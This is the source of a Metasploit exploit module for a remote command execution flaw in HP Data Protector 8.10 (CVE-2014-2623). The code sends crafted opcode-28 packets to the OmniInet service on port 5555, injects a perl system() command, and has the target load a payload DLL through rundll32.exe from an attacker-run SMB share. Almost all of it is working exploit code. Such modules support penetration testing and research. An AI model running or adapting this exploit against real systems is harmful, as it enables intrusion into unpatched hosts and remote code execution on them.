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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => 'HP Data Protector 8.10 Remote Command Execution', 'Description'=> %q{ This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary commands can be execute by sending crafted requests with opcode 28 to the OmniInet service listening on the TCP/5555 port. Since there is an strict length limitation on the command, rundll32.exe is executed, and the payload is provided through a DLL by a fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on Windows 7 SP1. }, 'Author' => [ 'Christian Ramirez', # POC 'Henoch Barrera', # POC 'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module ], 'References' => [ ['CVE', '2014-2623'], ['OSVDB', '109069'], ['EDB', '34066'], ['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space' => 2048, 'DisableNops' => true }, 'Privileged' => true, 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets'=> [ [ 'HP Data Protector 8.10 / Windows', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 02 2014')) register_options( [ Opt::RPORT(5555), OptString.new('FILE_NAME', [ false, 'DLL File name to share']), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end print_status("#{peer} - HP Data Protector version #{fingerprint}") if fingerprint =~ /HP Data Protector A\.08\.(\d+)/ minor = $1.to_i else return Exploit::CheckCode::Safe end if minor < 11 return Exploit::CheckCode::Appears end Exploit::CheckCode::Detected end def peer "#{rhost}:#{rport}" end def get_fingerprint ommni = connect ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null end def send_pkt(cmd) cmd.gsub!("\\", "\\\\\\\\") pkt = "2\x00" pkt << "\x01\x01\x01\x01\x01\x01\x00" pkt << "\x01\x00" pkt << "\x01\x00" pkt << "\x01\x00" pkt << "\x01\x01\x00 " pkt << "28\x00" pkt << "\\perl.exe\x00 " pkt << "-esystem('#{cmd}')\x00" connect sock.put([pkt.length].pack('N') + pkt) disconnect end def primer self.file_contents = generate_payload_dll print_status("File available on #{unc}...") print_status("#{peer} - Trying to execute remote DLL...") sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}" send_pkt(sploit) end def setup super self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" unless file_name =~ /\.dll$/ fail_with(Failure::BadConfig, "FILE_NAME must end with .dll") end end def exploit begin Timeout.timeout(datastore['SMB_DELAY']) {super} rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end end end |
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